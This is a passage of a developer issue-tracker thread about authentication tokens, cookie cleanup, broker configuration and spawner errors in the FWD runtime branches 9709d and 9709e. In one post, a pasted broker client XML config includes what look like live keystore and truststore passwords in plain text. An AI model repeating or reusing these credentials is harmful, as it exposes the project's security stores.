does CHIPS still work with a HTML-BROWSER component on the screen, where there are href/links which interact with the converted application?
At least the customer application with left-side menu based on HTML-BROWSER component works properly.
#798 Updated by Sergey Ivanovskiy 3 months ago
WebTokensService - is 60seconds validity for the token enough? What I mean here: can there be cases where we build a document link which 'stays on the screen' and waits for the user to click it? These cases are different than i.e. user presses a 4GL button which behind the scene calls
The solution can be to add new parameter to validityPeriod in ms
public String generateWebTokenValue(String subject, Map<String, String> claims, long validityPeriod)
#799 Updated by Sergey Ivanovskiy 3 months ago
the CHIPS cookies - when will these expire?
I didn't change the existing logic in respect to the secure authorization cookie that should be a session cookie.
#800 Updated by Sergey Ivanovskiy 3 months ago
Committed revision 16537 (9709d) fixed part of these issues except
WebTokensService - is 60seconds validity for the token enough? What I mean here: can there be cases where we build a document link which 'stays on the screen' and waits for the user to click it? These cases are different than i.e. user presses a 4GL button which behind the scene calls OPEN-MIME-RESOURCE and the action is done immediately
I can propose to add a new configuration parameter API_TOKEN_VALIDITY_PERIOD to be able to change this value
and to implement this new method
public String generateWebTokenValue(String subject, Map<String, String> claims, long validityPeriod)
Do you have objections?
#801 Updated by Constantin Asofiei 3 months ago
Sergey Ivanovskiy wrote:
the CHIPS cookies - when will these expire?
I didn't change the existing logic in respect to the secure authorization cookie that should be a session cookie.
Please double-check this: what cookies are transferred for each resource download, what cookies remain in the partitioned storage after the client logs out, etc.
I can propose to add a new configuration parameter API_TOKEN_VALIDITY_PERIOD to be able to change this value
Hm... why not let the token live forever? A token for resource download can be used as long as the resource UUID is still registered with FWD. Once the resource gets downloaded, that link no longer works, right?
#802 Updated by Sergey Ivanovskiy 3 months ago
Constantin Asofiei wrote:
Sergey Ivanovskiy wrote:
the CHIPS cookies - when will these expire?
I didn't change the existing logic in respect to the secure authorization cookie that should be a session cookie.
Please double-check this: what cookies are transferred for each resource download, what cookies remain in the partitioned storage after the client logs out, etc.
Constantin, do not understand. Please explain the idea more thoroughly. The secure partitioned cookie is created after the user passed login screen. The old instances doesn't matter although they are not removed automatically.
I can propose to add a new configuration parameter API_TOKEN_VALIDITY_PERIOD to be able to change this value
Hm... why not let the token live forever? A token for resource download can be used as long as the resource UUID is still registered with FWD. Once the resource gets downloaded, that link no longer works, right?
Yes, you are correct.
#803 Updated by Constantin Asofiei 3 months ago
Sergey Ivanovskiy wrote:
Constantin, do not understand. Please explain the idea more thoroughly. The secure partitioned cookie is created after the user passed login screen. The old instances doesn't matter although they are not removed automatically.
Exactly this:
The old instances doesn't matter although they are not removed automatically.
Check developer tools for the exact network requests being done, and what cookies are transferred to the FWD server. I recall I was having issues at some point with a 'header value too long' error because FWD was keeping lots of cookies in the browser and transferring them on each request.
Also, what downsides are if the cookies from previous logins or document downloads are not removed automatically.
#804 Updated by Sergey Ivanovskiy 3 months ago
Please review committed revision 16538 (9709d) that should delete old auth cookies to send them back to the browser marked its validity expired.
#805 Updated by Constantin Asofiei 3 months ago
Sergey Ivanovskiy wrote:
Please review committed revision 16538 (9709d) that should delete old auth cookies to send them back to the browser marked its validity expired.
Looks good to me.
#806 Updated by Sergey Ivanovskiy 3 months ago
Yesterday, I committed revision 16539 (9709d) to get rid of waste local variable.
I cannot test all parts of the system because do not have such manual test scenarios for the rest, soap service, oidc integration. Could team help me with instructions or 9709d testing? My manual tests did not help to find regressions. Hotel Gui virtual desktop and embedded mode were tested and the large customers applications should have interesting use cases related to 9709d changes but I did not observe regressions although my tests did not cover all these cases.
#807 Updated by Greg Shah 3 months ago
Code Review Task Branch 9709e Revisions 16515 and 16516, Part 1
The name changes are fine. I'm still thinking through the overall changes in the branch, sorry but how we load configuration is hard to reason about. That is just part of our implementation, not something that you caused. But it means I have to spend more time thinking.
Some initial feedback:
1. Please prepare documentation updates for the Remote Launchers and the related pages in Directory Configuration Reference.
2. Please write better class-level javadoc for ConfigItem to explain the core idea of how the class works.
3. Please add class and constructor javadoc to BaseConfigItem.
4. Please fix the javadoc for BROKER_DEDICATED_MODE.
#808 Updated by Sergey Ivanovskiy 3 months ago
Yes, I agree that ConfigItem reflects the existing design and just generalizes the existing usages of server directory settings and client bootstrap configurations.
#809 Updated by Sergey Ivanovskiy 3 months ago
The current ConfigItem can be considered as a key to get settings from the server directory and/or the client bootstrap configuration.
#810 Updated by Sergey Ivanovskiy 3 months ago
Please review the committed revision 16517 (9709e).
#811 Updated by Stefanel Pezamosca 3 months ago
Otherwise, does this affect SSO (OIDC integration)? Stefanel, can you take a look at 9709d and do some tests with OIDC?
I had applied the 9709d changes over my work branch and everything seems to be ok.
#812 Updated by Constantin Asofiei 3 months ago
Stefanel Pezamosca wrote:
Otherwise, does this affect SSO (OIDC integration)? Stefanel, can you take a look at 9709d and do some tests with OIDC?
I had applied the 9709d changes over my work branch and everything seems to be ok.
Hynek/Sergey: if there are no more concerns, 9709d can be merged.
#813 Updated by Hynek Cihlar 3 months ago
Constantin Asofiei wrote:
Stefanel Pezamosca wrote:
Otherwise, does this affect SSO (OIDC integration)? Stefanel, can you take a look at 9709d and do some tests with OIDC?
I had applied the 9709d changes over my work branch and everything seems to be ok.
Hynek/Sergey: if there are no more concerns, 9709d can be merged.
No more concerns from me.
#814 Updated by Sergey Ivanovskiy 3 months ago
I updated 9709d up to rev 16551 and can merge into the trunk if there are no objections.
#816 Updated by Constantin Asofiei 3 months ago
Sergey Ivanovskiy wrote:
I updated 9709d up to rev 16551 and can merge into the trunk if there are no objections.
Sergey, another question, please: in AuthHandler.deleteAuthCookie, all __Host-Auth- cookies are deleted (by setting maxage=0). Are we sure that no other cookie is still 'in use', i.e. for a document UUID which was not yet downloaded?
#817 Updated by Sergey Ivanovskiy 3 months ago
Greg Shah wrote:
Code Review Task branch 9709e Revision 16517
The changes are good.
What testing has been done to ensure this is safe with non-broker use cases?
Hotel Gui and the large customer application can cover manual testcases.
#818 Updated by Sergey Ivanovskiy 3 months ago
Constantin Asofiei wrote:
Sergey Ivanovskiy wrote:
I updated 9709d up to rev 16551 and can merge into the trunk if there are no objections.
Sergey, another question, please: in
AuthHandler.deleteAuthCookie, all__Host-Auth-cookies are deleted (by settingmaxage=0). Are we sure that no other cookie is still 'in use', i.e. for a document UUID which was not yet downloaded?
I don't know scenarios in which a client session is closed but there are active links to documents generated by business logic.
#819 Updated by Constantin Asofiei 3 months ago
Sergey Ivanovskiy wrote:
Constantin Asofiei wrote:
Sergey Ivanovskiy wrote:
I updated 9709d up to rev 16551 and can merge into the trunk if there are no objections.
Sergey, another question, please: in
AuthHandler.deleteAuthCookie, all__Host-Auth-cookies are deleted (by settingmaxage=0). Are we sure that no other cookie is still 'in use', i.e. for a document UUID which was not yet downloaded?I don't know scenarios in which a client session is closed but there are active links to documents generated by business logic.
No, I don't mean 'client session is closed' - I mean a scenario where multiple download links can exist at the same time (on screen for example).
#820 Updated by Sergey Ivanovskiy 3 months ago
Constantin Asofiei wrote:
No, I don't mean 'client session is closed' - I mean a scenario where multiple download links can exist at the same time (on screen for example).
I do not understand because if there are links and the client session is alive so the embedded web server of web client is running, then authentication cookies are not removed. Links to the locale resources are provided with authentication tokens.
#821 Updated by Greg Shah 3 months ago
Sergey Ivanovskiy wrote:
Greg Shah wrote:
Code Review Task branch 9709e Revision 16517
The changes are good.
What testing has been done to ensure this is safe with non-broker use cases?
Hotel Gui and the large customer application can cover manual testcases.
OK, go ahead. Also, please make sure to test both with and without the reverse proxy.
#822 Updated by Constantin Asofiei 3 months ago
- tools/scripts/fwd_jdk_query.sh - I can't run it, I get
line 102: JDK_MAP: bad array subscript. - how tested are the
tools/docker/dbash.shandtools/docker/docker_build.shscripts?
#823 Updated by Sergey Ivanovskiy 3 months ago
I tested the trunk version with nginx proxy server and local web clients and got "The spawn process failed with 149 error. Please see spawner logs.". This looks like a regression in the code. The server logs
26/04/21 23:07:57.661+0300 | WARNING | com.goldencode.p2j.net.RouterSessionManager [Incoming.run()] | ThreadName:Incoming SSL Connector#1 | initialization failure
java.net.SocketException: Socket is closed
at java.base/sun.security.ssl.SSLSocketImpl.getOutputStream(SSLSocketImpl.java:1238)
at com.goldencode.p2j.net.NetSocketWrapper.<init>(NetSocketWrapper.java:129)
at com.goldencode.p2j.net.NetSocket$1.create(NetSocket.java:117)
at com.goldencode.p2j.net.RouterSessionManager$Incoming.run(RouterSessionManager.java:1590)
at java.base/java.lang.Thread.run(Thread.java:840)
26/04/21 23:07:57.669+0300 | SEVERE | Spawner-1 | PID:0, ThreadId:00000000 | [ThreadName:main] Problem retrieving the spawn command, using these settings: port [3333] host [localhost] alias [standard] UUID [330e0cf4-30bb-44dc-947e-cb18b4f565b0]
26/04/21 23:07:57.707+0300 | WARNING | com.goldencode.p2j.main.ClientSpawner | ThreadName:qtp1379715252-84 | The spawn process failed with 149 error. Please see spawner logs.
#824 Updated by Sergey Ivanovskiy 3 months ago
#9709-823 is reproduced only with SSO plugin, but OS user authentication works properly with the current trunk version and as well as branch 9709e.
#825 Updated by Sergey Ivanovskiy 3 months ago
Constantin Asofiei wrote:
Roger, you've made changes in 9709d:
- tools/scripts/fwd_jdk_query.sh - I can't run it, I get
line 102: JDK_MAP: bad array subscript.- how tested are the
tools/docker/dbash.shandtools/docker/docker_build.shscripts?
Roger, could you help to resolve these issues? 9709d was passed the review but this branch also contains your changes.
#826 Updated by Sergey Ivanovskiy 3 months ago
9709e passed tests although SSO login doesn't work in Nginx proxy environment with 9709e and the current trunk version.
#828 Updated by Sergey Ivanovskiy 3 months ago
- % Done changed from 100 to 90
- Status changed from Internal Test to WIP
Ok. There is an issue to spawn a web client if SSO plugin is used with Nginx proxy server.
#829 Updated by Sergey Ivanovskiy 3 months ago
I used this SSO plugin options
<node-attribute name="ssoplugin" value="com.goldencode.hotel.HotelGuiSsoAuthenticator"/>
<node-attribute name="ssopluginoption" value="bogus"/>
Stefanel, is it correct?
#830 Updated by Stefanel Pezamosca 3 months ago
Sergey Ivanovskiy wrote:
I used this SSO plugin options
[...]
Stefanel, is it correct?
Yes, this is the default HotelGui SSO plugin, which uses hotel/hotel as the username and password, so it should work. It does not have auto-login, so no cookies are involved. Therefore, the issue is likely elsewhere in the spawner flow, but I don't know much more.
#831 Updated by Sergey Ivanovskiy 3 months ago
According to spawn error The spawn process failed with 149 error. the spawn code was failed at this point
jobjectArray command = (*env)->CallStaticObjectMethod(env, (jclass) cls, (jmethodID) mid,
port, host, alias, uuid, misc);
if (command == NULL)
{
(*jvm)->DestroyJavaVM(jvm);
exit(audit(ERR_JNI_REMOTE_COMMAND, "CallStaticObjectMethod(command)"));
}
where
ERR_JNI_REMOTE_COMMAND is -107#832 Updated by Sergey Ivanovskiy 3 months ago
Sergey Ivanovskiy wrote:
According to spawn error The spawn process failed with 149 error. the spawn code was failed at this point
[...]
whereERR_JNI_REMOTE_COMMANDis-107
Stefanel, could you check the trunk version and Hotel_Gui projects with SSO plugin. I got
26/04/23 06:31:05.822+0300 | WARNING | com.goldencode.p2j.net.RouterSessionManager [Incoming.run()] | ThreadName:Incoming SSL Connector#1 | initialization failure
java.net.SocketException: Socket is closed
at java.base/sun.security.ssl.SSLSocketImpl.getOutputStream(SSLSocketImpl.java:1238)
at com.goldencode.p2j.net.NetSocketWrapper.<init>(NetSocketWrapper.java:129)
at com.goldencode.p2j.net.NetSocket$1.create(NetSocket.java:117)
at com.goldencode.p2j.net.RouterSessionManager$Incoming.run(RouterSessionManager.java:1590)
at java.base/java.lang.Thread.run(Thread.java:840)
26/04/23 06:31:05.826+0300 | SEVERE | Spawner-1 | PID:0, ThreadId:00000000 | [ThreadName:main] Problem retrieving the spawn command, using these settings: port [3333] host [localhost] alias [standard] UUID [5754746f-fe11-4f8d-bf29-31db1a1909b3]
26/04/23 06:31:05.832+0300 | WARNING | com.goldencode.p2j.main.ClientSpawner | ThreadName:qtp2075463136-88 | The spawn process failed with 149 error. Please see spawner logs.
Is this issue observed only on my environment?
#833 Updated by Roger Borrello 3 months ago
Constantin Asofiei wrote:
Roger, you've made changes in 9709d:
- tools/scripts/fwd_jdk_query.sh - I can't run it, I get
line 102: JDK_MAP: bad array subscript.
What was the use case? I cannot get it to fail.
- how tested are the
tools/docker/dbash.shandtools/docker/docker_build.shscripts?
I have used these many, many times under many circumstances. The dbash.sh is also the latest included in gcd_systems
#834 Updated by Stefanel Pezamosca 3 months ago
Sergey Ivanovskiy wrote:
Stefanel, could you check the trunk version and Hotel_Gui projects with SSO plugin. I got [...]
For me it works, but you mentioned:
Ok. There is an issue to spawn a web client if SSO plugin is used with Nginx proxy server.
I don't know about using Nginx proxy server.
#835 Updated by Sergey Ivanovskiy 3 months ago
Thank you, Nginx does not matter. It means that I have local issues.
#836 Updated by Sergey Ivanovskiy 3 months ago
Greg, I have system issues because for Ubuntu 24.04 virtual environment SSO plugin works properly with 9709e. Thus, 9709e passed manual tests.
#838 Updated by Greg Shah 3 months ago
Sergey Ivanovskiy wrote:
Greg, I have system issues because for Ubuntu 24.04 virtual environment SSO plugin works properly with 9709e. Thus, 9709e passed manual tests.
To confirm: when this is merged, there will be no changes needed by any project. All current projects and configurations will work without any change?
#839 Updated by Sergey Ivanovskiy 3 months ago
Yes, 9709e should not affect any existing configurations. I tested Hotel_Gui and the customer application.
#842 Updated by Constantin Asofiei 3 months ago
Roger Borrello wrote:
Constantin Asofiei wrote:
Roger, you've made changes in 9709d:
- tools/scripts/fwd_jdk_query.sh - I can't run it, I get
line 102: JDK_MAP: bad array subscript.What was the use case? I cannot get it to fail.
- fail 1:
$ ./fwd_jdk_query.sh -h ./fwd_jdk_query.sh: line 49: OPTARG: unbound variable
- fail 2:
./fwd_jdk_query.sh Error: class not found: com.goldencode.p2j.Version ./fwd_jdk_query.sh: line 102: JDK_MAP: bad array subscript
- works 1:
$ ./fwd_jdk_query.sh -p ../../build/lib/p2j.jar 17
- works 2:
./fwd_jdk_query.sh --help Usage: ./fwd_jdk_query.sh [-p <p2j.jar>] Display JDK used to build FWD Where: -p <p2j.jar> = The p2j.jar to check, (eg. -p ./build/lib/p2j.jar) -z <zipfile> = The zipfile containing the p2j.jar to check --decorate = decorate output with \"jdk=<number>\" for parsing -? or -h or --help = show usage.
I think the 2 fail cases need to be fixed.
#843 Updated by Sergey Ivanovskiy 3 months ago
Greg Shah wrote:
Sergey: Have you completed the documentation changes in item 1 from #9709-807?
Yes, I added one paragraph to Remote Launchers.
#844 Updated by Greg Shah 3 months ago
Sergey Ivanovskiy wrote:
Greg Shah wrote:
Sergey: Have you completed the documentation changes in item 1 from #9709-807?
Yes, I added one paragraph to Remote Launchers.
Do you know of any customers using brokers right now? I don't know of any.
This means we don't need to document the "what was before 9709e". Please make the change.
Also: All of these values need to be documented in the Directory Configuration Reference.
#845 Updated by Sergey Ivanovskiy 3 months ago
OK, I will fix this in the documentation. I have strange issues in my local system and would like that 9709e will be tested on another hosts. Could team help with launch tests to be sure that 9709e is safe?
#846 Updated by Greg Shah 3 months ago
Sergey Ivanovskiy wrote:
OK, I will fix this in the documentation. I have strange issues in my local system and would like that 9709e will be tested on another hosts. Could team help with launch tests to be sure that 9709e is safe?
Sure.
Eugenie: Could you please check M?
Roger: Could you please check C?
#847 Updated by Sergey Ivanovskiy 3 months ago
Should I rebase 9709e?
#849 Updated by Eugenie Lyzenko 3 months ago
Greg Shah wrote:
Sergey Ivanovskiy wrote:
OK, I will fix this in the documentation. I have strange issues in my local system and would like that 9709e will be tested on another hosts. Could team help with launch tests to be sure that 9709e is safe?
Sure.
Eugenie: Could you please check M?
OK. I just need to know the trunk revision the 9709e is currently based on.
#850 Updated by Roger Borrello 3 months ago
- Assignee deleted (
Sergey Ivanovskiy)
Constantin Asofiei wrote:
I think the 2 fail cases need to be fixed.
Fixes in revision 16552.
#851 Updated by Sergey Ivanovskiy 3 months ago
- Assignee set to Sergey Ivanovskiy
9709e was updated up to rev 16545 over the current trunk rev 16533.
#852 Updated by Sergey Ivanovskiy 3 months ago
Eugenie, 9709e is based on rev 16533.
#853 Updated by Eugenie Lyzenko 3 months ago
Sergey Ivanovskiy wrote:
Eugenie, 9709e is based on rev 16533.
Thanks for info. I need this to ensure compatibility with converted code.
Has the 0709e only runtime changes? Or conversion related changes also introduced in this branch?
#854 Updated by Eugenie Lyzenko 3 months ago
Finished smoke tests with M. Everything looks good. I do not see any suspicious.
Sergey,
What troubles you have with M to use? May be I missed some tests in my smoke set.
#855 Updated by Constantin Asofiei 3 months ago
9709d can be merged after 9709e (or before if 9709e takes some more time).
#856 Updated by Sergey Ivanovskiy 3 months ago
Eugenie Lyzenko wrote:
Sergey,
What troubles you have with M to use? May be I missed some tests in my smoke set.
I tested M with 9709e using user/password login but for C I encountered #7143-1883. The real issue was with Hotel_Gui SSO Plugin #9709-831 but for Ubuntu 24.04.03 VM Hotel_Gui with SSO plugin works properly. That makes me suspect my last software updates related to AI software and offline LLM models.
For example, with the current trunk I got #11180-63 that looks suspected.
#857 Updated by Sergey Ivanovskiy 3 months ago
Constantin Asofiei wrote:
9709d can be merged after 9709e (or before if 9709e takes some more time).
OK. Updating 9709d.
#858 Updated by Sergey Ivanovskiy 3 months ago
9709d is ready, the current rev. 16559.
#859 Updated by Constantin Asofiei 3 months ago
Sergey Ivanovskiy wrote:
9709d is ready, the current rev. 16559.
Merge 9709d now. If 9709e can't be ready in the next few hours let me know to remove it from the queue.
#860 Updated by Sergey Ivanovskiy 3 months ago
Roger Borrello wrote:
Constantin Asofiei wrote:
I think the 2 fail cases need to be fixed.
Fixes in revision 16552.
Roger, I missed your commit. Could you commit your fix into 9709d from your local file system because I overwrote this branch without your commit?
#861 Updated by Sergey Ivanovskiy 3 months ago
Constantin, I accidentally missed Roger's commit, so we need to wait until Roger will commit the fix. I guess we should postpone these commits 9709d and 9709e until this evening.
#862 Updated by Constantin Asofiei 3 months ago
Sergey Ivanovskiy wrote:
Constantin, I accidentally missed Roger's commit, so we need to wait until Roger will commit the fix. I guess we should postpone these commits 9709d and 9709e until this evening.
I've fixed the commit:
revno: 16560 author: Roger Borrello <rfb@goldencode.com> committer: Constantin Asofiei <ca@goldencode.com> branch nick: 9709d timestamp: Fri 2026-04-24 11:59:26 +0300 message: Fixed some usage issues with unset variables, and when p2j.jar isn't found.
Please update 9709d and merge it now. I assume 9709e requires more testing?
#863 Updated by Sergey Ivanovskiy 3 months ago
Thank you! Yes, I asked for help with 9709e testing and waiting approvals for this commit (#9709-846).
#864 Updated by Sergey Ivanovskiy 3 months ago
9709d has been merged into the trunk as rev 16534. 9709d will be archived.
#865 Updated by Constantin Asofiei 3 months ago
Sergey Ivanovskiy wrote:
Thank you! Yes, I asked for help with 9709e testing and waiting approvals for this commit (#9709-846).
9709e was removed from merge queue. Please post when is testing is done and the branch is ready.
#866 Updated by Eugenie Lyzenko 3 months ago
- File 9709d_regression.jpg added
Sergey Ivanovskiy wrote:
9709d has been merged into the trunk as rev 16534. 9709d will be archived.
Unfortunately I found the regression introduced in trunk with this commit and M application.
The problem is the file open dialog does not work anymore to get local file system resource (the application can not handle browser dialog action that allow to access local file).

It is not possible to press OK button to continue.
This can produce bug record reports and should be fixed on first possibility I guess.
This is not happening with 9709e I have tested.
#867 Updated by Sergey Ivanovskiy 3 months ago
Eugenie Lyzenko wrote:
Sergey Ivanovskiy wrote:
9709d has been merged into the trunk as rev 16534. 9709d will be archived.
Unfortunately I found the regression introduced in trunk with this commit and
Mapplication.The problem is the file open dialog does not work anymore to get local file system resource (the application can not handle browser dialog action that allow to access local file).
It is not possible to press
OKbutton to continue.This can produce bug record reports and should be fixed on first possibility I guess.
Eugenie, where can I find this bug report? Could you add a failed scenario?
#868 Updated by Sergey Ivanovskiy 3 months ago
I tested a standalone direct file upload testcase with the current trunk and did not find a regression. All web client paths to /upload/direct/ or /upload/ should be accessible via the session authentication cookie.
#870 Updated by Roger Borrello 3 months ago
Greg Shah wrote:
A separate system on which clients can be run is just one that:
- Has all the installation/setup as documented in Client Installation.
- Does NOT have anything exclusively needed by Application Server Installation. In other words, there is no FWD server on that system and all the crud from the FWD server is not installed or setup.
- If you need spawning on that client system (e.g. web clients or appserver agents or batch processes) then follow the instructions in Remote Launchers.
I think that is all there is to do. If you find something confusing or missing, ask.
Should any of these documents be where drawings would be located? Let me have a little more on these network drawings that are supposed to be generic, because I can see how brokers and servers and databases need to have flow diagrams of interactions, but not sure where they would fit.
#871 Updated by Greg Shah 3 months ago
Should any of these documents be where drawings would be located?
Yes. We might also need something high level in Runtime Architecture or (better) Web Client Setup.
#872 Updated by Greg Shah 3 months ago
Constantin Asofiei wrote:
Sergey Ivanovskiy wrote:
Thank you! Yes, I asked for help with 9709e testing and waiting approvals for this commit (#9709-846).
9709e was removed from merge queue. Please post when is testing is done and the branch is ready.
What is the status of 9709e testing?
#873 Updated by Roger Borrello 3 months ago
- File complex-containers.png added
Greg Shah wrote:
Should any of these documents be where drawings would be located?
Yes. We might also need something high level in Runtime Architecture or (better) Web Client Setup.
Is this on the right track?

#874 Updated by Greg Shah 3 months ago
Sort of.
1. Using the term "spawns client agents" and "client agent connection" is not correct. The term agent has a specific meaning that is related to appservers and we never use "agent" when we are really talking about web clients.
2. The "Jetty facing client tier" doesn't make sense.
3. It is not clear that the hotel_broker1, hotel_server and hotel_db are containers.
4. It isn't clear where appserver agents run.
5. It should be more obvious what exact IPs/ports need to be exposed via firewall rules. Only the web client ports and the jetty port of the server need to be accessible, right?
#875 Updated by Roger Borrello 3 months ago
- File complex-containers_v2.png added
- File complex-containers_v2.odg added
Greg Shah wrote:
Sort of.
1. Using the term "spawns client agents" and "client agent connection" is not correct. The term agent has a specific meaning that is related to appservers and we never use "agent" when we are really talking about web clients.
2. The "Jetty facing client tier" doesn't make sense.
3. It is not clear that the hotel_broker1, hotel_server and hotel_db are containers.
4. It isn't clear where appserver agents run.
5. It should be more obvious what exact IPs/ports need to be exposed via firewall rules. Only the web client ports and the jetty port of the server need to be accessible, right?
OK. It's hard to get so much on a drawing like this, like all the components. How can I get a bigger space in Draw?

#877 Updated by Sergey Ivanovskiy 3 months ago
Greg Shah wrote:
Constantin Asofiei wrote:
Sergey Ivanovskiy wrote:
Thank you! Yes, I asked for help with 9709e testing and waiting approvals for this commit (#9709-846).
9709e was removed from merge queue. Please post when is testing is done and the branch is ready.
What is the status of 9709e testing?
I tested with two customers application and did not find new issues. The current rev is 16555 (9709e).
#879 Updated by Sergey Ivanovskiy 3 months ago
I did not test broker setup.
#881 Updated by Sergey Ivanovskiy 3 months ago
Sorry for my late response, I should rebuild FWD certificates and tested the broker setup and the broker setup with the proxy server and did not find regressions.
#882 Updated by Roger Borrello 3 months ago
- File deleted (
complex-containers_v2.odg)
#883 Updated by Roger Borrello 3 months ago
- File complex-containers_v3.png added
Greg Shah wrote:
We don't use Draw. We use Inkscape and build it as an SVG. See the diagrams project for samples.
This is my current complex container drawing.
#885 Updated by Roger Borrello 3 months ago
- File complex-containers_v3.png added
Greg Shah wrote:
This will need to migrate into a Skill.
What's that? (Besides something I don't have)
Please make both ends of the arrows have arrowheads.

#886 Updated by Greg Shah 3 months ago
See Skills and Agent Skills Catalog.
#888 Updated by Roger Borrello 3 months ago
Sergey Ivanovskiy wrote:
Sorry for my late response, I should rebuild FWD certificates and tested the broker setup and the broker setup with the proxy server and did not find regressions.
I am trying to test 9709e with my customer application using the same configuration that was working before 9709b was merged. Should that work, or do I need to make modifications? The broker1_client.xml is (mostly):
<node type="client">
<client>
<mode broker="true" />
<mode batch="true" />
<driver background="true" />
<driver type="gui_native" />
<logging path="/opt/app/logs/client_%uos_%pid_%uf_%g.log" rotationLimit="" rotationCount="" />
</client>
<net>
<server host="appsrv" />
<server port="3433" />
<server secure_port="3333" />
<connection secure="true" />
</net>
<security>
<certificate validate="true" />
<truststore filename="/opt/app/security/srv-certs.store" />
<truststore alias="standard" />
<keystore filename="/opt/app/security/broker1-private-key.store" />
<keystore processalias="broker1" />
<authentication type="program"/>
</security>
<access>
<password truststore="Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5" />
<password keystore="aWGU=uDY#uf6I7rNvUD87NT6vA8N89P_n(fD" />
<password keyentry="jRC5UUuIy5~4OO1K5G5voH<ulI@2hSq1~DYr" />
</access>
<remote>
<retry count="10" />
<retry seconds="10" />
<spawner file="/opt/spawner/spawn" />
<agent host="appbrk1"/>
<agent user="fwd"/>
<agent dedicatedMode="false"/>
<java args="-Xmx512m -Djava.awt.headless=true -Djava.library.path=/opt/fwd/build/lib/" />
<java classpath="/opt/fwd/build/lib/p2j.jar" />
</remote>
</node>
The server is logging errors and the application's appservers won't start:
26/05/05 10:32:12.030-0400 | SEVERE | com.goldencode.p2j.main.BrokerManager [BrokerManager.schedule()] | ThreadName:com.goldencode.p2j.util.AppServerLauncher$$Lambda$503/0x00007958c991a1a0@5b61f811 [00000000:standard], ThreadId:00000009, User:standard | Remote broker call exception.
java.lang.RuntimeException: Unresolvable remote export public abstract double com.goldencode.p2j.main.BrokerClientServices.getSystemLoading().
at com.goldencode.p2j.net.RemoteObject$RemoteAccess.obtainRoutingKey(RemoteObject.java:1575)
at com.goldencode.p2j.net.RemoteObject$RemoteAccess.invokeCore(RemoteObject.java:1458)
at com.goldencode.p2j.net.InvocationStub.invoke(InvocationStub.java:144)
at jdk.proxy2/jdk.proxy2.$Proxy19.getSystemLoading(Unknown Source)
at com.goldencode.p2j.main.BrokerManager.schedule(BrokerManager.java:633)
at com.goldencode.p2j.main.BrokerManager.spawn(BrokerManager.java:465)
at com.goldencode.p2j.main.ClientBuilder.remoteStart(ClientBuilder.java:312)
at com.goldencode.p2j.main.ClientSpawner.spawnRemote(ClientSpawner.java:429)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:275)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:195)
at com.goldencode.p2j.util.AppServerLauncher.lambda$getLaunchWorkerFutures$1(AppServerLauncher.java:556)
at com.goldencode.p2j.security.ContextAwareThread.run(ContextAwareThread.java:136)
at com.goldencode.p2j.security.AssociatedThread.run(AssociatedThread.java:80)
Caused by: com.goldencode.p2j.net.ProtocolViolation: Expected ID 1 but rec'd ID 3
at com.goldencode.p2j.net.Conversation.waitMessage(Conversation.java:350)
at com.goldencode.p2j.net.Queue.transactImpl(Queue.java:1239)
at com.goldencode.p2j.net.Queue.transact(Queue.java:687)
at com.goldencode.p2j.net.BaseSession.transact(BaseSession.java:276)
at com.goldencode.p2j.net.HighLevelObject.transact(HighLevelObject.java:221)
at com.goldencode.p2j.net.HighLevelObject.getKey(HighLevelObject.java:173)
at com.goldencode.p2j.net.RemoteObject$RemoteAccess.obtainRoutingKey(RemoteObject.java:1547)
... 12 more
26/05/05 10:32:12.322-0400 | SEVERE | com.goldencode.p2j.main.BrokerManager [BrokerManager.spawn()] | ThreadName:com.goldencode.p2j.util.AppServerLauncher$$Lambda$503/0x00007958c991a1a0@5b61f811 [00000000:standard], ThreadId:00000009, User:standard | Remote broker call exception.
java.lang.NullPointerException: No brokers are available for schedule.
at com.goldencode.p2j.main.BrokerManager.schedule(BrokerManager.java:655)
at com.goldencode.p2j.main.BrokerManager.spawn(BrokerManager.java:465)
at com.goldencode.p2j.main.ClientBuilder.remoteStart(ClientBuilder.java:312)
at com.goldencode.p2j.main.ClientSpawner.spawnRemote(ClientSpawner.java:429)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:275)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:195)
at com.goldencode.p2j.util.AppServerLauncher.lambda$getLaunchWorkerFutures$1(AppServerLauncher.java:556)
at com.goldencode.p2j.security.ContextAwareThread.run(ContextAwareThread.java:136)
at com.goldencode.p2j.security.AssociatedThread.run(AssociatedThread.java:80)
26/05/05 10:32:12.386-0400 | SEVERE | com.goldencode.p2j.main.ClientSpawner | ThreadName:com.goldencode.p2j.util.AppServerLauncher$$Lambda$503/0x00007958c991a1a0@5b61f811 [00000000:standard], ThreadId:00000009, User:standard | spawnRemote exception:
java.lang.NullPointerException: Cannot spawn remote client.
at com.goldencode.p2j.main.BrokerManager.spawn(BrokerManager.java:496)
at com.goldencode.p2j.main.ClientBuilder.remoteStart(ClientBuilder.java:312)
at com.goldencode.p2j.main.ClientSpawner.spawnRemote(ClientSpawner.java:429)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:275)
at com.goldencode.p2j.main.ClientSpawner.spawn(ClientSpawner.java:195)
at com.goldencode.p2j.util.AppServerLauncher.lambda$getLaunchWorkerFutures$1(AppServerLauncher.java:556)
at com.goldencode.p2j.security.ContextAwareThread.run(ContextAwareThread.java:136)
at com.goldencode.p2j.security.AssociatedThread.run(AssociatedThread.java:80)
#889 Updated by Sergey Ivanovskiy 3 months ago
- File broker1_client.xml added
This file shows the changes needed to work with 9709e and
<node class="container" name="brokers">
<node class="broker" name="broker1">
<node-attribute name="account" value="sbi"/>
<node class="container" name="portsRange">
<node class="integer" name="from">
<node-attribute name="value" value="7449"/>
</node>
<node class="integer" name="to">
<node-attribute name="value" value="7459"/>
</node>
</node>
</node>
</node>
Without these changes
broker1 does not spawn clients.#890 Updated by Sergey Ivanovskiy 3 months ago
9709b should be moved to the dead branches because it was never merged into the trunk and should not.
#891 Updated by Roger Borrello 3 months ago
I am built with 9709e_16545 and I have updated my broker client file and directory.xml, and I am getting this error in the server log:
26/05/05 15:05:47.848-0400 | SEVERE | com.goldencode.p2j.main.BrokerManager [BrokerManager.schedule()] | ThreadName:com.goldencode.p2j.util.AppServerLauncher$$Lambda$503/0x0000790f2591afb8@478190d2 [00000000:standard], ThreadId:00000012, User:standard | Remote broker call exception.
java.lang.RuntimeException: Unresolvable remote export public abstract java.lang.String com.goldencode.p2j.main.BrokerClientServices.getDedicatedHost().
